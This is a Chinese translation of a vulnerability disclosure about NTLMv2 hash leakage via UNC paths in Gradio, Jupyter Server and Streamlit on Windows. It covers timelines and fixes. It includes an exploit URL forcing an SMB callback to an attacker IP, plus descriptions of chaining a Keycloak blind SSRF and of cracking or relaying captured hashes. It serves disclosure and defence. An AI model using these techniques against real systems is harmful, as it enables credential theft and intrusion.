NTLMv2 哈希窃取是一种众所周知的凭据收集技术,因为 Windows 坚持自动对任何可能的设备进行身份验证。它是内部渗透测试中使用的主要技术,使用诸如响应器或ntlmrelayx之类的工具,利用诸如启用旧式 LLMNR/NBT-NS 协议或强制身份验证漏洞(如PetitPotam)等问题。它也在互联网上被利用,通常是通过滥用 Microsoft Outlook,正如Proofpoint和Microsoft在最近的案例中所描述的那样。
在审计 Web 应用程序时,可以通过利用服务器端请求伪造 (SSRF) 或 XML 外部实体 (XXE) 漏洞在 Windows 主机上窃取 NTLMv2 哈希。关于这个主题的文章很多,而且新的漏洞不断被发现。在这篇文章中,我们将披露导致三个最流行的 Python 框架中 NTLMv2 哈希泄露的新 SSRF 漏洞:Hugging Face 的 Gradio,它为几种流行的 AI 工具提供支持;Jupyter Server,它支持 Jupyter Notebook 和 JupyterLab;以及 Snowflake 的 Streamlit。
这里披露的漏洞与这些 Python 框架如何检索文件有关。具体来说,在 Python 中,对未充分验证的输入执行的任何文件系统操作都可能导致 NTLMv2 哈希泄露。未经身份验证的攻击者可以利用这里披露的漏洞,这些漏洞已在 NodeZero 进行的实际渗透测试中出现。在此过程中,我们还将介绍一个有趣的 Python 错误,该错误会影响 Windows 上较旧版本的 Python,可能有助于窃取 NTLMv2 哈希。
CVE-2024-34510:Gradio 中的 NTLMv2 哈希泄露
Gradio是一个流行的开源 Python Web 应用程序框架,用于开发和共享 AI/ML 演示。去年 12 月,我们披露了影响 Gradio 的两个路径遍历漏洞 CVE-2023-51449 和 CVE-2024-1561,并撰写了我们随后与 Hugging Face 合作以保护其 Spaces 环境的文章。在披露这些漏洞的同时,我们还披露了几个 NTLMv2 哈希泄露问题,这些问题由CVE-2024-34510解决。
file终端中的 NTLMv2 哈希披露
Gradio fileAPI 端点接受在本地文件系统上一组受限目录中下载文件的路径。默认情况下,未经身份验证的用户可访问此端点。在存在漏洞的 Gradio 版本中,Path.is_dir()在完全验证此路径之前会在此路径上调用该方法。
https://github.com/gradio-app/gradio/blob/gradio%404.4.0/gradio/routes.py#L447
如果 Gradio 在 Windows 上运行,并且用户提供的路径是 UNC 路径,Gradio 将尝试连接到该路径上的 SMB 服务器。攻击者可以利用此类工具设置虚假的 SMB 服务器并捕获或中继运行 Gradio 的 Windows 用户的 NTLMv2 哈希,从而滥用此功能。在此示例中,Gradio 在 10.0.220.53 上运行,而运行响应器的攻击者 IP 是 10.0.225.200。
Gradio 静态文件处理程序中的 NTLMv2 哈希泄露
如果 Gradio 设置为需要身份验证会怎么样?互联网上的许多 Gradio 端点都启用了身份验证。我们发现另一个向量会在 Gradio 的静态文件处理程序中泄露 NTLMv2 哈希,假设主机上安装的 Python 版本低于 3.11.2。对以下 URL 的 GET 请求http://10.0.220.53:7860/static///10.0.225.200/share将触发从 10.0.220.53 的 Gradio 服务器到攻击者 IP 10.0.225.200 的 SMB 回调。
潜在问题可以追溯到 Pythonos.path.isabs在 Windows 上的实现。检索静态文件时,Gradio 会执行safe_join从受信任目录中加载文件的操作。
https://github.com/gradio-app/gradio/blob/gradio%404.4.0/gradio/routes.py#L836
这种情况似乎是一个非常极端的情况,但请注意,Gradio 最流行的用途是Stable Diffusion Web UI,根据其安装说明,它在 Windows 上运行时需要 Python 3.10.6。此应用程序拥有超过 138K 个星号,是 GitHub 上排名前 50 的星号存储库之一。
Werkzeugsafe_join也存在漏洞
Gradio 借用了safe_join流行的Werkzeug库,而safe_joinWerkzeug 库中的功能在这种情况下也不安全——Windows 上的 Python 版本 < 3.11.2。
https://github.com/pallets/werkzeug/blob/main/src/werkzeug/security.py#L131
Werkzeug是流行的Flasksafe_join Web 框架的一部分,用于提供静态文件。幸运的是,在 Werzkeug 的默认配置中,多个连续的正斜杠不能作为路径参数传递。但是,在 Windows 上运行的应用程序如果接受路径作为查询参数或来自请求主体,则容易受到攻击,例如:
(Gradio 使用 uvicorn 作为其 Web 服务器,它不合并斜杠并允许部分 UNC 路径作为路径参数传递。)
时间线
os.path.isabs我们已将与和相关的问题通知 Python 安全团队和 Werkzeug 团队safe_join。虽然他们承认了这些问题,但他们认为没有必要进一步跟进。Gradio 4.20 版完全修复了这两个 NTLMv2 哈希泄露问题。
-
2023 年 12 月 14 日:通过电子邮件通知 Python 安全团队
-
2023 年 12 月 14 日:Python 安全团队致谢
-
2023 年 12 月 17 日:通过电子邮件向 Hugging Face 提交初步报告
-
2023 年 12 月 18 日:Hugging Face 承认问题
-
2023 年 12 月 18 日:通过 GitHub 安全问题通知 Werkzeug
-
2023 年 12 月 19 日:Werkzeug 承认问题
-
2024 年 3 月 5 日:Hugging Face 发布 Gradio 4.20 版并修复了相关问题
-
2024 年 5 月 5 日:CVE-2024-34510 发布
CVE-2024-35178:Jupyter 服务器中的 NTLMv2 哈希泄露
我们预感到其他 Python 应用程序可能容易受到 NTLMv2 哈希泄露的攻击,因此决定研究一下最流行的 Python 应用程序——Jupyter Notebook。
Jupyter Notebook 应用程序由 Jupyter Server 托管,后者又使用Tornado Web 服务器。为了提供静态文件,Jupyter Server 实现了自定义静态文件处理程序FileFindHandler,它扩展了 Tornado 内置的StaticFileHandler。在提供文件时,Jupyter Server 运行该函数filefind来确定输入文件的绝对路径。
https://github.com/jupyter-server/jupyter_server/blob/3fbf07e57c33b6c536edec730601678fbab45188/jupyter_server/utils.py#L341
文件系统调用os.path.isfile发生在验证用户提供的路径是否在受限目录内之前。这意味着,如果 Jupyter Notebook 在 Windows 上运行,攻击者可以通过提供 UNC 路径泄露运行 Jupyter Notebook 的 Windows 用户的 NTLMv2 哈希。在下面的示例中,Jupyter Notebook 在 10.0.220.6 上运行,而攻击者在 10.0.225.200 上运行响应程序:
我们已经验证此漏洞还影响 Jupyter Notebook 和 JupyterLab 的经典版本。
时间线
该漏洞CVE-2024-35178影响该jupyter_server软件包,并已在软件包版本 2.14.1 中修复。
-
2024 年 5 月 15 日:针对jupyter_server项目提出 GitHub 安全问题
-
2024 年 5 月 15 日:Jupyter 项目团队承认存在此问题
-
2024 年 6 月 6 日:CVE-2024-35178与GitHub 安全公告一起发布
CVE-2024-42474:Streamlit 中的 NTLMv2 哈希泄露
接下来,我们研究了Streamlit,这是 Snowflake 开发的一种流行的 Python 框架,用于创建数据科学/机器学习演示。与 Jupyter Server 一样,Streamlit 也使用 Tornado Web 服务器,并用自己的自定义静态文件处理程序覆盖 Tornado 的 StaticFileHandler。我们发现,当启用静态文件共享(不是默认设置)并且 Streamlit 在 Windows 上运行时,攻击者可以利用 Streamlit 泄露运行 Streamlit 的 Windows 用户的 NTLMv2 哈希。
存在漏洞的代码位于以下AppStaticFileHandler.validate_absolute_path函数中:
https://github.com/streamlit/streamlit/blob/6fd61726188f87b326ab75a8e6305c0827456fa3/lib/streamlit/web/server/app_static_file_handler.py
第 45 行上的调用os.path.isdir发生在第 49 行上的检查之前,以确保用户提供的路径在预期的静态文件夹内。
时间线
Snowflake 在 Streamlit 1.37.0 版本中修复了漏洞CVE-2024-42474。
Snowflake安全公告中的 CVSS 向量表明利用此漏洞需要较低的权限。此评估并不准确——未经身份验证的攻击者可以利用此漏洞。
-
2024 年 5 月 12 日:通过 HackerOne 披露 Snowflake 漏洞。
-
2024 年 5 月 14 日:HackerOne 验证该问题
-
2024 年 6 月 6 日:Snowflake 验证问题
-
2024 年 7 月 25 日:Snowflake 发布修复版本 1.37.0
-
2024 年 8 月 12 日:CVE-2024-42474与GitHub 安全公告一起发布
NTLM 凭证窃取漏洞利用
有两种众所周知的利用 NTLMv2 哈希泄露的方法:
-
破解哈希值以揭示运行易受攻击的服务的用户的明文密码。
-
将哈希转发到另一个可通过网络访问的目标。根据受害用户的权限和目标的配置,可以在目标主机上执行远程代码。
在很多 NTLMv2 哈希泄露案例中,易受攻击的 Web 应用程序以计算机帐户的身份运行,LocalSystem并且捕获的哈希是计算机帐户的哈希。这些帐户具有很长的随机密码,无法破解。此处披露的漏洞更加危险,因为易受攻击的应用程序通常由最终用户运行,而这些最终用户往往拥有可破解的密码。一旦被破解,攻击者就可以尝试使用这些凭据登录受害用户可能访问的任何服务。
外围攻击
响应器之类的工具通常与内部渗透测试有关,但这里披露的漏洞可以从互联网上利用,假设受害者网络尚未锁定以阻止出站 SMB 流量。
在此示例中,使用 Gradio 的“共享”功能,Windows 上运行的 Gradio 的一个易受攻击的版本暴露在互联网上。当用户想要与全世界分享他们的演示时,这些共享 URL 会偶尔发布到社交媒体上。攻击者可以利用暴露的 Gradio 实例来捕获运行 Gradio 的用户的 NTLMv2 哈希。
来自周边的间接利用
即使易受攻击的应用程序没有直接暴露在互联网上,也有可能通过影响其他外围资产的 SSRF 或 XXE 漏洞间接利用它。这是可能的,因为本文披露的漏洞都可以通过简单的 GET 请求来利用。
在此示例中,位于 54.83.90.245 的 Keycloak 服务器易受盲 SSRF(CVE-2020-10770)攻击,并且暴露在互联网上。我们通过让 Keycloak 连接回位于 98.80.128.226 的攻击者控制的 HTTP 服务器来利用盲 SSRF。
然后,攻击者控制的 HTTP 服务器发出 302 重定向,以内部 IP 10.0.229.6 上运行的 Windows 上存在漏洞的 Jupyter Notebook 实例为目标。请注意,重定向 URL 对双斜杠进行编码,以绕过 Keycloak 合并斜杠的行为。
Keycloak 服务器遵循重定向并向 Jupyter Notebook 实例发送请求。Jupyter Notebook 实例通过 SMB 重新连接到攻击者运行响应程序的服务器,泄露运行 Jupyter Notebook 的用户的 NTLMv2 哈希。
盲 SSRF 漏洞很常见,通常被认为具有中等严重性,但可以通过将其与此处披露的漏洞之一联系起来来增强其影响。
修复操作
对于防御者,我们建议采取以下行动:
-
如果您在 Windows 上运行本文中提到的任何易受攻击的应用程序,请更新到最新版本:Gradio 4.20+、Jupyter Server 2.14.1+ 和 Streamlit 1.37.0+
-
配置主机/网络防火墙以阻止流向 Internet 的 SMB 流量。这只是一项很好的政策,可以防止利用强制 Windows 身份验证漏洞,例如CISA 已知被利用漏洞列表中的Outlook 特权提升漏洞CVE-2023-23397 。
-
出于安全意识,如果您的用户在 Windows 上运行 Python,请更新到最新版本的 Python,这样您就不必担心os.path.isabs影响 Python 版本 < 3.11.2 的错误。
原文始发于微信公众号(Ots安全):Python Windows 应用程序中的 NTLM 凭据窃取
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论